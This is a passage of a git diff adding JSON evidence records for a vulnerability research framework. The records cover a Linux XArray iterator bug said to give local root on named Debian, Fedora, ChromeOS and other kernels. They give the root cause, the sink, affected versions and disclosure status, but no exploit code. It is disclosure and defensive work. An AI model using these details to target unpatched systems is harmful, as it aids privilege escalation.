"profiles/linux-v4.20-live-regression-verification.json", + "sha256": "28951c3ede9ee9ace3afad1408c1b60841f4834e2a78a24b683385f68718d4b3", + "availability": "archived", + "note": "Hash-bound QEMU serial logs show two regression failures before the fix and all 20,183,242 in-kernel checks passing after it." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "This proves the iterator primitive, not an ordinary-user privilege-escalation chain on v4.20." + }, + { + "claim_id": "DC-SHMEM-517", + "statement": "The reviewed shmem/filemap Dirty Crow source chain does not exist before Linux 5.17; shmem begins storing large page-cache folios as multi-index XArray entries in Linux 5.17.", + "scope": "Sampled upstream lineage v4.20 through v6.1, anchored by commit 6b24ca4a1a8d4ee3221d6d44ddbb99f542e4bda3.", + "evidence_class": "source_static", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/early-kernel-v4.20.json", + "sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "availability": "archived", + "note": "Records repeated-slot pre-5.17 representation and the 5.17 transition." + }, + { + "reference": "profiles/lineages.json", + "sha256": "8107e20a4e0e95832218ddcd996209b20dac72a7049a9151e087b8c933dc37ba", + "availability": "archived", + "note": "Tier definitions separate primitive-only, controlled pre-MADV_COLLAPSE, and synchronous-trigger eras." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "A source chain does not establish runtime reliability or an affected vendor-kernel interval." + }, + { + "claim_id": "DC-V517-CONTROLLED", + "statement": "On upstream Linux 5.17, the shmem/filemap chain reaches full uid-65534-to-root execution when the vulnerable filemap iterator window is widened by 20 ms.", + "scope": "Upstream v5.17 commit f8e739787152143aacffc181562a29c049c2d658; x86_64 QEMU/TCG with 2 GiB RAM, 4 vCPUs, CONFIG_USER_NS=y, user-namespace tmpfs huge=always, and the retained instrumentation patch.", + "evidence_class": "runtime_controlled_instrumentation", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/linux-v5.17-instrumented-consumer-verification.json", + "sha256": "3a3cfb6b75b89f90a5ed7c110d4bd8d07b90e32f80fd710ea7699daa603b8698", + "availability": "archived", + "note": "Hash-bound method, source identity, exact inputs, vulnerable execution, fixed control, and evidence boundary." + }, + { + "reference": "baseline/v5.17/linux-v5.17-widened-vulnerable.log", + "sha256": "ae300a8b117d32d6e6e7c2faac9f615f30e5a1f4f479a5dd5d05e8b4f565b5e9", + "availability": "archived", + "note": "Shows order-9 producer, xa_index 0x140 to 0x40 regression, page-table primitive, arbitrary physical read/write, and root helper execution." + }, + { + "reference": "baseline/v5.17/linux-v5.17-widened-fixed.log", + "sha256": "e79ad7e0bc1dfe16a0ef8e0d5aa16e1ae2fa1c9d7c35ed27cdc87016ae77960c", + "availability": "archived", + "note": "Same widened-window setup with the candidate fix; window marker present, regression marker absent, and primitive not observed in ten rounds." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "The in-kernel 20 ms delay is artificial. This proves controlled code-path reachability and candidate-fix behavior, not exploit reliability on an unmodified Linux 5.17 kernel or any default distribution configuration." + }, + { + "claim_id": "DC-TRIGGER-61", + "statement": "MADV_COLLAPSE support for file-backed and shmem mappings first appears in Linux 6.1, not Linux 5.17.", + "scope": "Upstream commits 7d8faaf155454f8798ec56404faca29a82689c77 and 34488399fa08faaf664743fa54b271eb6f9e1321.", + "evidence_class": "source_static", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/early-kernel-v4.20.json", + "sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "availability": "archived", + "note": "Records the separate anonymous introduction and file/shmem support commits." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "Linux 5.17 through 6.0 expose policy-dependent legacy shmem THP paths. A controlled instrumented Linux 5.17 LPE is now recorded separately; no unmodified-kernel runtime LPE is claimed for that interval." + }, + { + "claim_id": "DC-V420-FIX", + "statement": "The candidate non-leaf offset repair prevents the deterministic v4.20 regression in both the exact-source userspace harness and a live v4.20 kernel; both complete XArray suites pass afterward.", + "scope": "The same upstream v4.20 XArray source and regression before and after one candidate source change; userspace harness plus CONFIG_XARRAY_MULTI=y x86_64 QEMU kernel.", + "evidence_class": "deterministic_selftest", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/early-kernel-v4.20.json", + "sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "availability": "archived", + "note": "A/B outputs: 12 to 8 instead of 16 before; 12 to 16 and 21134890 checks passed after." + }, + { + "reference": "patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "sha256": "e5542e28e43dfe70d40f1e3455217937ed9aff35999ae1e2c9c1e5b2b6926ac8", + "availability": "archived", + "note": "Candidate fix adapted only for Linux v4.20 source context." + }, + { + "reference": "profiles/linux-v4.20-live-regression-verification.json", + "sha256": "28951c3ede9ee9ace3afad1408c1b60841f4834e2a78a24b683385f68718d4b3", + "availability": "archived", + "note": "Same v4.20 QEMU kernel configuration: vulnerable module initialization fails two invariant checks; fixed initialization passes all checks." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "The userspace and live-kernel selftests validate the iterator invariant; they do not prove prevention on every kernel or vendor backport, or establish a production v4.20 LPE path." + }, + { + "claim_id": "DC-RUNTIME-X8664", + "statement": "Retained evidence records ordinary-user local root on named x86_64 package kernels under recorded QEMU/TCG geometries.", + "scope": "Only the exact Ubuntu, Fedora, Arch, Alpine, Debian, and Chimera package images and run geometries named by the evidence records; not universal Linux or default-install reliability.", + "evidence_class": "runtime_exact_target", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/xarray-lpe-evidence-index-portable.json", + "sha256": "089658e215fb4a3daf0a87b93d68a49f0cd8b8d8142e8b591b597016247b4e9c", + "availability": "archived", + "note": "Imported strict claim, target coverage, controls, and original artifact hashes." + }, + { + "reference": "profiles/xarray-lpe-final-verification-portable.json", + "sha256": "c508a3257315da6f36f58cde2ec31d505080d9fc7f6bc753a15f8199e18e501d", + "availability": "archived", + "note": "Imported verification record." + }, + { + "reference": "baseline/standalone-poc-evidence.json", + "sha256": "8ab9c18210a60c78ec2d4df7e746819d919c78a4b0279b2355fb2731d2ac2842", + "availability": "archived", + "note": "Imported standalone Debian reproduction evidence." + }, + { + "reference": "external/lpe-proof-fedora-7.1.10-200.fc44-v17-source-exact-a.log", + "sha256": "b4f741fe8d74e7163f839d5302ad959498454f607352adcb4e1f369e9367d317", + "availability": "external_unavailable", + "note": "The evidence index records this decisive log hash, but the log bytes are not included in this framework export." + } + ], + "availability": "archived_partial", + "last_reviewed": "2026-09-05", + "limitation": "Some decisive per-distribution logs remain externally unavailable; the fixed 5000-round negative control is supportive rather than decisive." + }, + { + "claim_id": "DC-CHROMEOS-R151-QEMU", + "statement": "The exact ChromeOS R151 dedede production recovery-kernel bzImage was exploited from uid/gid 65534 to initial-namespace root under recorded x86_64 QEMU/TCG conditions.", + "scope": "ChromeOS R151-16733.57.0 kernel 6.1.169-17642-gf78e1656ab99, 4 KiB pages, QEMU pc/TCG, 4 vCPUs, 4096 MiB, and minimal static initramfs.", + "evidence_class": "runtime_exact_target", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "baseline/chromeos/chromeos-r151-qemu-validation-20260904.json", + "sha256": "b44b3d41311906134bf03095cf38a314ec441c9a4ba6a048d0b787d0edcaa39b", + "availability": "archived", + "note": "Hash-bound recovery image and kernel provenance, preflight, primitive proof, bounded root proof, restoration, and fidelity boundary." + }, + { + "reference": "baseline/chromeos/chromeos-r151-qemu-plan-20260904.log", + "sha256": "4f13f711345fac90815865969f4ba96d07715fe93eb435d16d82aa31a5a0941c", + "availability": "archived", + "note": "Exact-kernel preflight and run plan." + }, + { + "reference": "baseline/chromeos/chromeos-r151-qemu-primitive-20260904.log", + "sha256": "021e136256d26a090a27c120c2c81d45e7df19a4f07a6b89b7f1e48fe078c6c9", + "availability": "archived", + "note": "Marker-verified selected physical-RAM read/write at race round 18 without credential write." + }, + { + "reference": "baseline/chromeos/chromeos-r151-qemu-root-attempt2-20260904.log", + "sha256": "9b9fa46085fd8ada4c54cdea866679d2af2dd91fb358ef71c3d3576a4a4b2007", + "availability": "archived", + "note": "Bounded root proof at race round 312 with root marker removal, credential restoration, and VM poweroff." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "This is exact ChromeOS kernel exploitability under QEMU with minimal userspace. It does not establish bare-metal Chromebook reliability, a ChromeOS renderer path, Android ARCVM exploitation, or Android app-sandbox escape." + }, + { + "claim_id": "DC-UPSTREAM-STATUS", + "statement": "As of 2026-09-05, a v2 fix and regression-test series has been posted publicly, but no accepted commit, shipped fix, stable backport, vendor advisory, or CVE has been verified.", + "scope": "Public syzbot and LKML state checked through 2026-09-05.", + "evidence_class": "public_status", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/disclosure.json", + "sha256": "cef44379b9fa53470f47bc1f1b2d28e003375ff321993054b70957a29ae6334d", + "availability": "archived", + "note": "Dated tracker with public issue and v2 discussion links." + }, + { + "reference": "patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch", + "sha256": "78debec0070577b3d4bd1129c614decd4f86a5de283f8df1b8ad45eae4e621c9", + "availability": "archived", + "note": "Candidate fix patch in the submitted series." + }, + { + "reference": "patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch", + "sha256": "91eb6421f787be06b7900d0d1f97563e1aff8e11712b613aa4b6e99958b7411d", + "availability": "archived", + "note": "Current-kernel regression test in the submitted series." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "Posting and automated assessment are not evidence of maintainer acceptance, merge, release, or downstream shipment." + }, + { + "claim_id": "DC-ANDROID-BOUNDARY", + "statement": "On the exact Google APIs API 34 revision 13 x86_64 emulator, a normally launched Android untrusted_app process triggered a stale shmem mapping one page below its source-fault range and a subsequent fatal kernel write and panic. No controlled page-table primitive or privilege escalation was established; Android GKI app-sandbox LPE remains unproven.", + "scope": "One exact clean-wipe QEMU run of Linux 6.1.23-android14-4-00257-g7e35917775b8-ab9964412 using the hash-bound v21 APK, cold-launched by ActivityManager as uid/gid 10190 in u:r:untrusted_app with SELinux enforcing, seccomp mode 2, zero capabilities, and no_new_privs=1 in the race thread. The final userspace checkpoint was round 13,200; the process then disappeared, the guest rebooted, and pstore retained the kernel diagnostics. Separate Android 16 GKI 6.12 aarch64 remains source-only. A separate v22 detector then completed at least 51,001 rounds on a fresh clean-wipe boot without observing the hypothesized controlled one-PTE spill; that operator-terminated stochastic negative does not negate the v21 corruption observation.", + "evidence_class": "runtime_kernel_corruption", + "snapshot_id": "dirty-crow-claims-2026-09-05-r6", + "artifacts": [ + { + "reference": "profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json", + "sha256": "a3bcf45fd7ef45b2c7dce7998179e746859c2f354a71095454a894d8e79f85be", + "availability": "archived", + "note": "Hash-bound runtime-kernel-corruption target profile for the exact emulator image and app-domain run." + }, + { + "reference": "evidence/android-api34-6.1.23-untrusted-app-kernel-corruption-verification.json", + "sha256": "a687c4a0ddb0ac00018cea59f19f8fed5b8ea6db816c61f1dc247d0d8601b070", + "availability": "archived", + "note": "Binds preflight, userspace progress, post-reboot identity, pstore, source, and APK. Records the out-of-range mapped shmem page, subsequent fatal supervisor write, and explicit non-LPE boundary." + }, + { + "reference": "reproducer/android-api34/filemap_xarray_android_v21.c", + "sha256": "2546beb160e7b2d1fda7ddf3a2bded88835f8902cd83a161fd2e6ba1cbd90601", + "availability": "archived", + "note": "Exact native probe source used in the corrupting run." + }, + { + "reference": "artifacts/dirty-crow-android-api34-x86_64-activegate-v21.apk", + "sha256": "7a69752c90d15a61093f048d92f6194f3f638b67718ad523efcee988efdfb68a", + "availability": "archived", + "note": "Exact signed APK installed for the corrupting run." + }, + { + "reference": "evidence/android-api34-6.1.23-untrusted-app-verification.json", + "sha256": "8bc060bdac0390afa0b0c68516764e1f9555b9b6c3ffb237ed7015e1b01fd0f7", + "availability": "archived", + "note": "Earlier bounded negative trials remain as historical context, not as the current target classification." + }, + { + "reference": "profiles/android-gki-android16-6.12-aarch64-4k.json", + "sha256": "b58e1985653cf0369ab5a1e9f7a310d16bb3968b0671da0617cddf2c45c738ef", + "availability": "archived", + "note": "The separate Android 16 GKI 6.12 aarch64 target remains unsupported because no exact image/userspace pair or aarch64 runtime backend was acquired." + }, + { + "reference": "evidence/android-api34-6.1.23-untrusted-app-controlled-spill-v22-verification.json", + "sha256": "d3352135ac8b9df12538505dff9cf4fba1b78e57bfcba5578e9428b89fcd12e9", + "availability": "archived", + "note": "Bounded incomplete negative: at least 51,001 detector rounds, including at least 48,460 active-gate-hit rounds, without a controlled PTE spill, escalation, crash, or terminal marker before operator termination; not evidence of safety and not current target-classification evidence." + } + ], + "availability": "archived_complete", + "last_reviewed": "2026-09-05", + "limitation": "One observed corrupting run is not a reliability estimate or an independently repeated reproduction. It does not establish a controlled page-table primitive, physical-memory read/write, credential change, root identity, SELinux bypass, persistence, candidate-fix prevention, Android 16 GKI behavior, ARM64 exploitation, or physical-device impact. The v22 controlled-spill trial is a bounded, operator-terminated stochastic negative for one detector hypothesis, not evidence that the vulnerable source is safe." + } + ], + "boundary": "This is the designated current catalog. Archived source facts, deterministic selftests, controlled-instrumentation executions, exact-target runtime evidence, kernel-corruption observations, and public status are distinct evidence classes. A claim does not inherit broader scope from another claim." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/debian-6.12.105-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/debian-6.12.105-x86_64-4k.json new file mode 100644 index 0000000..8a02efa --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/debian-6.12.105-x86_64-4k.json @@ -0,0 +1,45 @@ +{ + "schema_version": 1, + "id": "debian-6.12.105-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Debian", + "release": "13 trixie", + "kernel_release": "6.12.105+deb13-amd64", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://packages.debian.org/trixie/linux-image-amd64", + "source_ref": "6.12.105+deb13-amd64" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/standalone-poc-evidence.json", + "sha256": "8ab9c18210a60c78ec2d4df7e746819d919c78a4b0279b2355fb2731d2ac2842" + }, + { + "kind": "evidence_verification", + "path": "../baseline/xarray-lpe-final-verification.json", + "sha256": "85e645a6e90811d8d019d686e059655942f3c1d66053afd40baaf86901cff0e3" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/debian-6.18.15-backports-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/debian-6.18.15-backports-x86_64-4k.json new file mode 100644 index 0000000..b70fb2f --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/debian-6.18.15-backports-x86_64-4k.json @@ -0,0 +1,45 @@ +{ + "schema_version": 1, + "id": "debian-6.18.15-backports-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Debian", + "release": "13 trixie-backports optional", + "kernel_release": "6.18.15+deb13-amd64", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://packages.debian.org/trixie-backports/linux-image-amd64", + "source_ref": "6.18.15-1~bpo13+1" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/xarray-lpe-evidence-index.json", + "sha256": "008fcbdb4b6feca87c38b9a356be4d0aa26391dc021797da98777f8c06ca4408" + }, + { + "kind": "evidence_verification", + "path": "../baseline/xarray-lpe-final-verification.json", + "sha256": "85e645a6e90811d8d019d686e059655942f3c1d66053afd40baaf86901cff0e3" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/disclosure.json b/dirty-crow-xarray-lpe/framework/profiles/disclosure.json new file mode 100644 index 0000000..172de61 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/disclosure.json @@ -0,0 +1,86 @@ +{ + "schema_version": 1, + "finding_id": "DIRTY-CROW-BACKSTEP", + "visibility": "public", + "embargo_status": "not_embargoed", + "publication_date": "2026-08-25", + "upstream": { + "bug_url": "https://syzkaller.appspot.com/bug?extid=b72767277f29b6407083", + "candidate_patch_url": "https://syzkaller.appspot.com/ai_job?id=a01c56bd-74d0-411c-afb4-ee6f0cb6cb61", + "submission_status": "v2_posted_2026-09-04_awaiting_review_and_testing", + "maintainer_feedback": [ + "https://lkml.iu.edu/2609.0/09691.html", + "https://lkml.iu.edu/2609.0/10627.html" + ] + }, + "accepted_fix": { + "status": "not_accepted", + "commit": null, + "release": null + }, + "cve": { + "status": "not_assigned", + "id": null, + "last_checked": "2026-09-05" + }, + "stable_backports": [], + "vendor_advisories": [], + "retests": [ + { + "target_id": "debian-6.12.105-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "ubuntu-7.0.0-30-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "fedora-7.1.10-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "arch-7.1.11-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "alpine-6.18.48-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "chimera-7.2.2-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "debian-6.18.15-backports-x86_64-4k", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + }, + { + "target_id": "chromeos-r151-dedede-x86_64-4k-qemu", + "baseline_status": "vulnerable_confirmed", + "fixed_package": null, + "retest_status": "awaiting_vendor_fix" + } + ], + "next_actions": [ + "Monitor review and test results for the v2 patch series posted on 2026-09-04.", + "Do not describe the candidate as merged, accepted, shipped, or backported until a specific commit or package is verified.", + "Request CVE coordination after maintainer acknowledgement unless the security team initiates it.", + "Retest the exact ChromeOS R151 recovery kernel after a vendor fix; keep QEMU kernel exploitability separate from bare-metal and Android ARCVM claims.", + "Monitor stable queues and vendor advisories, then rerun exact-package A/B tests." + ], + "boundary": "Public state checked 2026-09-05. A posted v2 patch and automated syzbot security assessment are public; neither proves an accepted, merged, shipped, or backported fix. The ChromeOS R151 result is exact production-kernel QEMU evidence, not bare-metal or Android ARCVM confirmation. Empty backport and advisory lists mean none were verified, not that none exist." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/early-kernel-v4.20.json b/dirty-crow-xarray-lpe/framework/profiles/early-kernel-v4.20.json new file mode 100644 index 0000000..8169ea1 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/early-kernel-v4.20.json @@ -0,0 +1,131 @@ +{ + "schema_version": 1, + "snapshot_id": "dirty-crow-early-kernel-v4.20-2026-09-05", + "as_of": "2026-09-05", + "question": "Can the XArray iterator defect be applied to Linux 4.20 itself?", + "answer": { + "iterator_primitive": "yes", + "existing_shmem_filemap_lpe_chain": "no", + "reason": "A CONFIG_XARRAY_MULTI=y QEMU boot of Linux 4.20 fails the retained-state regression before the candidate fix and passes it afterward. The known shmem/filemap LPE chain is still absent: shmem compound pages are stored as repeated order-0 page pointers rather than one multi-index page-cache entry, so shmem THP policy cannot supply its producer.", + "remaining_scope": "A different Linux 4.20 multi-index producer and security-sensitive xas_find consumer would be a new chain and has not been demonstrated." + }, + "kernel": { + "release": "v4.20", + "commit": "8fe28cb58bcb235034b64cbbb7550a8a43fd88be", + "source_url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tag/?h=v4.20", + "source_files": [ + { + "path": "lib/xarray.c", + "git_object_id": "5f3f9311de893a2975990060f5dfae6a6fb3d462", + "sha256": "f2a0950702c8ace032dda74897bfd85397f9f5ce8f3d28eac1bdf2e0ff5e6493" + }, + { + "path": "lib/test_xarray.c", + "git_object_id": "4676c0a1eeca0f7f7c559176b2c580cedcccce6d", + "sha256": "6d57d2d4d3fc26831ff3d43281bd2471c197ac1dbc481b4e5014b51aaf163f75" + }, + { + "path": "mm/shmem.c", + "sha256": "69e6077be69f596ea748f72b3e3a9ac12ac2578f2c300d544f1136122036fc32" + }, + { + "path": "mm/filemap.c", + "sha256": "b2b74d5b597259d9bc2aa8532346c8b9a032b9b1bc7a0d4f8527941ed9b7f8e8" + } + ] + }, + "deterministic_ab": { + "method": "Build tools/testing/radix-tree/xarray after applying the v4.20-compatible regression patch; run before and after the v4.20-context candidate fix.", + "environment": { + "host": "Windows 10 x64", + "guest": "WSL Debian", + "architecture": "x86_64", + "compiler": "gcc (Debian 14.2.0-19) 14.2.0", + "make": "GNU Make 4.4.1" + }, + "regression_patch": { + "path": "patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "sha256": "ce9f4278040a5cacc822406746c92790f5107533cc3e7d9828c4a75d58662b6b" + }, + "fix_patch": { + "path": "patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "sha256": "e5542e28e43dfe70d40f1e3455217937ed9aff35999ae1e2c9c1e5b2b6926ac8" + }, + "vulnerable": { + "exit_code": 134, + "observation": "v4.20 split-resume: before=12 after=8 expected=16", + "assertion": "lib/test_xarray.c:801: check_multi_find_split: Assertion `0' failed" + }, + "fixed": { + "exit_code": 0, + "observation": "v4.20 split-resume: before=12 after=16 expected=16", + "suite_result": "XArray: 21134890 of 21134890 tests passed" + }, + "interpretation": "The fail-before/pass-after result proves the v4.20 iterator invariant violation and candidate-fix behavior without claiming a v4.20 privilege escalation." + }, + "live_kernel_ab": { + "method": "Boot the same x86_64 Linux v4.20 kernel under QEMU/TCG with CONFIG_XARRAY_MULTI=y, insert the regression module before and after applying only the candidate iterator fix, and retain both serial logs.", + "evidence": { + "path": "profiles/linux-v4.20-live-regression-verification.json", + "sha256": "28951c3ede9ee9ace3afad1408c1b60841f4834e2a78a24b683385f68718d4b3" + }, + "vulnerable": { + "kernel_build": "4.20.0+ #8", + "observation": "v4.20 split-resume: before=96 after=64 expected=128", + "suite_result": "XArray: 20183240 of 20183242 tests passed", + "failed_assertions": [ + "check_multi_find_split:801", + "check_multi_find_split:802" + ], + "module_result": "EINVAL (22)" + }, + "fixed": { + "kernel_build": "4.20.0+ #9", + "observation": "v4.20 split-resume: before=96 after=128 expected=128", + "suite_result": "XArray: 20183242 of 20183242 tests passed", + "module_result": "0" + }, + "interpretation": "The fail-before/pass-after result executes inside Linux v4.20 itself. It upgrades the primitive evidence from a userspace port to a live-kernel regression, but it still does not establish a production subsystem trigger or privilege escalation on v4.20." + }, + "page_cache_lineage": { + "v4_20_to_v5_16": { + "representation": "repeated_order0_slots", + "shmem_store": "shmem_add_to_page_cache loops over compound-page subpages and calls xas_store(&xas, page + i)", + "dirty_crow_shmem_multi_index_producer": false, + "policy_effect": "MADV_HUGEPAGE, tmpfs huge= options, and shmem_enabled=force can create a shmem THP but do not change its XArray representation." + }, + "v5_17_and_later": { + "representation": "multi_index_entry", + "introducing_commit": "6b24ca4a1a8d4ee3221d6d44ddbb99f542e4bda3", + "source_url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6b24ca4a1a8d4ee3221d6d44ddbb99f542e4bda3", + "dirty_crow_shmem_multi_index_producer": true + }, + "madv_collapse": { + "anonymous_introduction": "7d8faaf155454f8798ec56404faca29a82689c77", + "file_shmem_support": "34488399fa08faaf664743fa54b271eb6f9e1321", + "first_release_with_file_shmem_trigger": "6.1" + } + }, + "linux_4_20_alternative_producers": [ + { + "surface": "DAX mapping entries", + "multi_index_entries": true, + "modeled_transition": { + "path": "profiles/linux-v4.20-dax-transition-model.json", + "sha256": "fa8e2aafec5805af86fec496c06407cca58add9f91f8a0675cc60615bb0d8703" + }, + "disposition": "The exact v4.20 XArray code regresses for a modeled PMD-value to PTE-value replacement, but both DAX representations are xa_value entries. filemap_map_pages skips them before page-pointer arithmetic. dax_layout_busy_page and dax_writeback_mapping_range hold the XArray lock and call xas_pause before each unlock. No production DAX corruption or ordinary-user privilege-escalation chain was established." + }, + { + "surface": "shmem and swap cache compound pages", + "multi_index_entries": false, + "disposition": "Both insertion paths loop over subpages and store page + i in separate XArray slots." + }, + { + "surface": "pgmap_array ranges", + "multi_index_entries": true, + "disposition": "The reviewed lookup uses xa_load rather than a resumable xas_find iterator, so the stale-iterator prerequisite is absent." + } + ], + "claim_boundary": "Code presence, the deterministic userspace XArray A/B, and a CONFIG_XARRAY_MULTI=y QEMU boot establish the iterator defect in Linux v4.20 itself. They do not establish an ordinary-user production trigger or LPE on v4.20. End-to-end local-root claims remain restricted to exact tested kernel images and recorded VM geometries." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/fedora-7.1.10-x86_64-4k.json b/dirty-crow-xarray-lpe/framework/profiles/fedora-7.1.10-x86_64-4k.json new file mode 100644 index 0000000..0ba67dc --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/fedora-7.1.10-x86_64-4k.json @@ -0,0 +1,45 @@ +{ + "schema_version": 1, + "id": "fedora-7.1.10-x86_64-4k", + "classification": "runtime_confirmed", + "target": { + "distribution": "Fedora", + "release": "Workstation 44", + "kernel_release": "7.1.10-200.fc44.x86_64", + "architecture": "x86_64", + "page_size": 4096, + "endianness": "little" + }, + "provenance": { + "scope": "exact_package", + "source_url": "https://packages.fedoraproject.org/pkgs/kernel/kernel/", + "source_ref": "kernel-core-7.1.10-200.fc44.x86_64" + }, + "compatibility": { + "source_facts": [ + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch" + ], + "capabilities": [ + "madv_collapse", + "proof_contract_v1" + ], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": true + }, + "evidence": [ + { + "kind": "runtime_evidence", + "path": "../baseline/xarray-lpe-evidence-index.json", + "sha256": "008fcbdb4b6feca87c38b9a356be4d0aa26391dc021797da98777f8c06ca4408" + }, + { + "kind": "evidence_verification", + "path": "../baseline/xarray-lpe-final-verification.json", + "sha256": "85e645a6e90811d8d019d686e059655942f3c1d66053afd40baaf86901cff0e3" + } + ], + "unsupported_reasons": [] +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/findings.json b/dirty-crow-xarray-lpe/framework/profiles/findings.json new file mode 100644 index 0000000..930ad85 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/findings.json @@ -0,0 +1,123 @@ +{ + "schema_version": 1, + "family": { + "name": "Dirty Crow", + "definition": "XArray iterator-state regressions whose stale non-leaf offset can make a nominally forward iterator move xa_index backward under concurrent multi-index mutation." + }, + "confirmed_vulnerabilities": [ + { + "id": "DIRTY-CROW-BACKSTEP", + "name": "Backstep", + "status": "confirmed_exact_targets", + "severity": "high", + "cvss_3_1": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", + "weaknesses": [ + "CWE-362", + "CWE-682" + ], + "root_cause": "xas_find repairs xa_offset only at leaf level; a concurrent split can leave a stale non-leaf offset and make xa_index regress.", + "sink": "filemap_map_pages applies the regressed index through unsigned address and PTE-pointer deltas.", + "demonstrated_impact": "ordinary-user local root through controlled page-table corruption, selected physical-RAM read/write, and initial-user-namespace credential replacement", + "evidence": { + "index": "baseline/xarray-lpe-evidence-index.json", + "final_verification": "baseline/xarray-lpe-final-verification.json", + "standalone": "baseline/standalone-poc-evidence.json", + "manifest": "baseline/manifest.json" + }, + "source_lineage_samples": [ + "v4.20", + "v5.4", + "v5.10", + "v5.15", + "v5.16", + "v5.17", + "v6.0", + "v6.1", + "v7.2" + ], + "claim_boundary": "Runtime LPE is confirmed only on the exact package kernels and VM geometries in the imported evidence. The xas_find primitive dates to v4.20, the reviewed shmem multi-index/filemap source chain begins at v5.17, and the file/shmem MADV_COLLAPSE trigger begins at v6.1; source lineage is not an affected-version or reliability claim." + } + ], + "unconfirmed_surfaces": [ + { + "id": "xarray-same-mapping-batch-index", + "status": "candidate_not_vulnerability", + "functions": [ + "find_get_entries", + "find_get_entries_tag", + "find_get_pages_range", + "find_get_pages_range_tag" + ], + "known_effect": "a stale iterator index can select a different subpage or report a wrong index within the same address_space", + "missing_proof": "independent memory-safety or cross-privilege-boundary impact" + }, + { + "id": "xarray-same-mapping-io-selection", + "status": "candidate_not_vulnerability", + "functions": [ + "iterate_xarray", + "extract_xarray_to_sg", + "netfs_limit_xarray", + "__readahead_batch" + ], + "known_effect": "a backstep can select bytes or segment lengths from an 